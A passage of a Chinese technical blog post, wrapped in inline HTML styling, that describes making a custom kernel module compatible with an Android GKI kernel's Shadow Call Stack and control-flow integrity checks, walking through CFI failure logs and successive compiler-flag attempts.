/ 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="991" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">-fsanitize=shadow-call-stack</span></code></pre><p data-line="995" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">该选项会隐式启用 SCS 指令生成，因此这个坑被自动绕过。</span></p><p data-line="997" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但还需注意：</span></p><blockquote style="background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p data-line="999" dir="auto" style="margin-top: 0px;margin-bottom: 16px;"><span leaf="">若以后使用手写汇编，必须保留 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">x18</span></code><span leaf=""> 作为 SCS 指针的约定，否则会一脚踩进去。</span></p></blockquote><h3 data-line="1001" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">CFI与厂商驱动兼容</span></h3><p data-line="1003" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 19：CFI —— 本次战斗的核心战役</span></p><p data-line="1005" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">CFI 全称为 Control Flow Integrity。</span></p><p data-line="1007" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">BTI 和 PAC 两关打通后，模块加载仍导致重启。</span></p><p data-line="1009" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pstore</span></code><span leaf=""> 日志显示：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1011" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">CFI failure at init_module+0x0/0xc [test]</span><span leaf=""><br/></span><span leaf="">(target: init_module+0x0/0xc [test]; expected type: 0x00000000)</span></code></pre><p data-line="1016" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们终于触碰到了安卓GKI最核心的安全机制：CFI。背景：kCFI 还是 CFI_ICALL？内核 Makefile 中声明使用：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1018" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># Makefile</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">ifdef</span></span><span leaf=""> CONFIG_CFI_CLANG</span><span leaf=""><br/></span><span leaf="">CC_FLAGS_CFI := -fsanitize=kcfi</span></code></pre><p data-line="1028" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">kCFI 的原理是每个可间接调用函数的入口前 4 字节保存一个类型哈希值。调用方在进行间接调用前，会检查：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1026" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">*(target - </span><span style="color: rgb(0, 128, 0);"><span leaf="">4</span></span><span leaf="">)</span></code></pre><p data-line="1038" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">是否与期望的哈希值匹配。</span></p><p data-line="1040" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">不匹配则执行 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">BRK</span></code><span leaf=""> 指令陷入内核，最终导致 panic。逻辑上，只要我们用同样的编译器、同样的标志编译模块，生成的哈希就能匹配。但事实并非如此。我们从目标设备提取了一个正常工作的参考模块 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">asix.ko</span></code><span leaf="">，分析发现：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">函数入口前 4 字节全是 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x00000000</span></code><span leaf="">，没有 kCFI 哈希。</span></p></li><li><p><span leaf="">模块内存在一个巨大的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__cfi_check</span></code><span leaf=""> 函数，大小超过 1700 字节。</span></p></li><li><p><span leaf="">模块内存在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.cfi_jt</span></code><span leaf=""> 跳转表。</span></p></li></ul><p data-line="1052" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这印证了一个关键事实：</span></p><blockquote style="background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p data-line="1040" dir="auto" style="margin-top: 0px;margin-bottom: 16px;"><span leaf="">GKI 预编译模块实际使用的是 CFI_ICALL，也就是 UBSan 风格的 CFI，而非 kCFI。</span></p></blockquote><p data-line="1056" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Makefile 的声明与预编译模块的实际行为并不一致。</span></p><p data-line="1058" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">第一次尝试：无 CFI，直接崩溃</span></p><p data-line="1060" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">即使知道内核可能是 CFI_ICALL，我们仍先用标准编译试试水。</span></p><p data-line="1062" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">结果如前所述：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1050" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">CFI failure at init_module</span></code></pre><p data-line="1068" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内核 panic。</span></p><p data-line="1070" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">第二次尝试：kCFI 哈希，哈希不匹配</span></p><p data-line="1072" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">改用：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1060" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">-fsanitize=kcfi</span></code></pre><p data-line="1078" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">编译后，错误变成：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1066" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">CFI failure at init_module+0x0/0x2c [test_kcfi]</span><span leaf=""><br/></span><span leaf="">(target: init_module+0x0/0x2c [test_kcfi]; expected type: 0x36b1c5a6)</span></code></pre><p data-line="1085" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们生成的哈希值是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1073" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">0x36b1c5a6</span></code></pre><p data-line="1091" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但内核期望的是 AOSP 预编译模块所用的哈希。</span></p><p data-line="1093" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">不同版本的 Clang，对同一函数原型生成的 CFI 哈希不同。</span></p><p data-line="1095" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">开发机上的 Clang 与 AOSP 构建内核时的 Clang 版本不一致，哈希体系不兼容，因此 kCFI 这条路也走不通。</span></p><p data-line="1097" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">第三次尝试：CFI_ICALL + LTO，加载成功！但……</span></p><p data-line="1099" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">根据 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">asix.ko</span></code><span leaf=""> 的格式特征，我们转向 CFI_ICALL。</span></p><p data-line="1101" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, 